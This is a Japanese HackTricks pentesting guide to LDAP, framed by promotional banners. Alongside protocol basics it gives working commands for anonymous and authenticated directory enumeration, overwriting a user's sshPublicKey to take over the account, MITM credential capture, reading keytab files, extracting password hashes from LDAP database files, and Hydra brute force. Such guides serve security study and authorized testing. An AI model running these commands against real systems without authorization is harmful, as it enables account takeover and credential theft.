# 389, 636, 3268, 3269 - LDAPのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## 基本情報 抽出元:[https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) LDAP(Lightweight Directory Access Protocol)は、ネットワーク上の組織、個人、およびファイルやデバイスなどの他の**リソース**を、パブリックインターネットまたは企業内ネットワーク上で**検索**できるようにするソフトウェアプロトコルです。LDAPは、Directory Access Protocol(DAP)の「軽量」(コード量が少ない)バージョンです。 LDAPディレクトリは、多くのサーバに**分散**されることがあります。各サーバは、定期的に**同期**されるディレクトリの**レプリケーション**バージョンを持つことができます。LDAPサーバはDirectory System Agent(DSA)と呼ばれます。ユーザからのリクエストを受け取ったLDAPサーバは、必要に応じて他のDSAにリクエストを渡しますが、ユーザに対して単一の調整された応答を保証します。 LDAPディレクトリは、次のレベルで構成される単純な「ツリー」階層で組織されています: * ルートディレクトリ(ツリーの開始位置またはソース)から分岐する * 国、それぞれが分岐する * 組織、それぞれが分岐する * 組織単位(部門、部署など)、それぞれが分岐する(プリンタなどの共有リソース、ファイル、人物を含むエントリが含まれます) **デフォルトポート:** 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、デフォルトでポート3268および3269のLDAPSで利用できます。 ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAPデータ交換形式 LDIF(LDAPデータ交換形式)は、ディレクトリの内容をレコードのセットとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)も表現することができます。 ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * 1-3行目では、トップレベルドメインlocalを定義しています。 * 5-8行目では、ファーストレベルドメインmoneycorp(moneycorp.local)を定義しています。 * 10-16行目では、2つの組織単位(devとsales)を定義しています。 * 18-26行目では、ドメインのオブジェクトを作成し、値を属性に割り当てています。 ## データの書き込み 値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。たとえば、自分自身または他のユーザーの「sshPublicKey」情報を変更できる場合を想像してみてください。この属性が存在する場合、おそらくsshはLDAPから公開鍵を読み取っています。ユーザーの公開鍵を変更できれば、パスワード認証がsshで有効にされていなくても、そのユーザーとしてログインすることができます。 ```bash >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## 平文の資格情報をスニッフする LDAPがSSLなしで使用されている場合、ネットワーク上で平文の資格情報をスニッフすることができます。 また、LDAPサーバーとクライアントの間のネットワークで**MITM**攻撃を実行することもできます。ここでは、**ダウングレード攻撃**を行い、クライアントが**平文の資格情報**を使用してログインするようにします。 **SSLが使用されている場合**、上記で説明したように**MITM**を試みることもできますが、**偽の証明書**を提供することで、ユーザーがそれを受け入れる場合、認証方法をダウングレードして再び資格情報を表示することができます。 ## 匿名アクセス ### TLS SNIチェックのバイパス [**この解説**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、任意のドメイン名(例:company.com)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに連絡し、情報を抽出することができました。 ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP匿名バインド [LDAP匿名バインド](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。これには、ユーザー、グループ、コンピューター、ユーザーアカウント属性、ドメインのパスワードポリシーの完全なリストなどが含まれます。これは**レガシーな設定**であり、Windows Server 2003以降では、認証されたユーザーのみがLDAPリクエストを開始できるようになっています。 \ ただし、管理者は**特定のアプリケーションを匿名バインドを許可するように設定**する必要があり、意図しない範囲以上のアクセス権限を与えてしまい、認証されていないユーザーがAD内のすべてのオブジェクトにアクセスできるようにしてしまう可能性があります。 ## 有効な資格情報 LDAPサーバーにログインするための有効な資格情報がある場合、次のコマンドを使用してドメイン管理者に関するすべての情報をダンプできます: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) ## 列挙 ### 自動化 これを使用すると、**公開情報**(ドメイン名など)を表示できます。 ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
PythonによるLDAP列挙を参照 Pythonを使用して、資格情報の有無に関係なくLDAPを列挙することができます: `pip3 install ldap3` まず、資格情報なしで接続してみてください: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` もし前の例のようにレスポンスが`True`である場合、LDAPのいくつかの**興味深いデータ**(例えば**ネーミングコンテキスト**や**ドメイン名**)を以下から取得することができます: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` 一度命名コンテキストを取得したら、さらに興味深いクエリを実行できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示します。 ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` または、ldap全体を**ダンプ**します: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch)は、LDAPクエリを利用してWindowsドメインからユーザー、グループ、コンピュータを列挙するための便利なPythonスクリプトです。 ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch ヌルの資格情報をチェックするか、資格情報が有効かどうかを確認します: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` もし「_bind must be completed_」というメッセージが表示された場合、それは資格情報が正しくないことを意味します。 ドメインからは、次のようにして**すべての情報を抽出**することができます: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` **ユーザー**を抽出します: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` **コンピュータ**を抽出します: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` **私の情報**を抽出します: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **Domain Admins**を抽出します: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **ドメインユーザー**を抽出します: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **Enterprise Admins**を抽出します: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **Administrators**を抽出します: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` **リモートデスクトップグループ**を抽出します。 ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` パスワードにアクセスできるかどうかを確認するには、次のクエリの実行後にgrepを使用することができます。 ```bash | grep -i -A2 -B2 "userpas" ``` #### pbis ここから**pbis**をダウンロードできます: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) 通常は`/opt/pbis`にインストールされます。\ **Pbis**を使用すると、基本情報を簡単に取得できます。 ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## グラフィカルインターフェース ### Apache Directory [**ここからApache Directoryをダウンロード**](https://directory.apache.org/studio/download/download-linux.html)できます。[ここにこのツールの使用例があります](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。 ### jxplorer LDAPサーバー用のグラフィカルインターフェースを[ここからダウンロードできます](http://www.jxplorer.org/downloads/users.html)。 デフォルトでは、_ /opt/jxplorer_にインストールされます。 ![](<../.gitbook/assets/image (22) (1).png>) ## Kerberosを使用した認証 `ldapsearch`を使用して、パラメータ`-Y GSSAPI`を使用して、**NTLM**ではなく**Kerberos**に対して**認証**することができます。 ## POST データベースが含まれているファイルにアクセスできる場合(_ /var/lib/ldap_にある場合があります)。次のコマンドを使用してハッシュを抽出できます。 ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` johnにパスワードハッシュを提供することができます('{SSHA}'から'structural'まで、'structural'を追加せずに)。 ### 設定ファイル * General * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * IBM SecureWay V3 server * V3.sas.oc * Microsoft Active Directory server * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * OpenLDAP directory server * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## HackTricks 自動コマンド ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。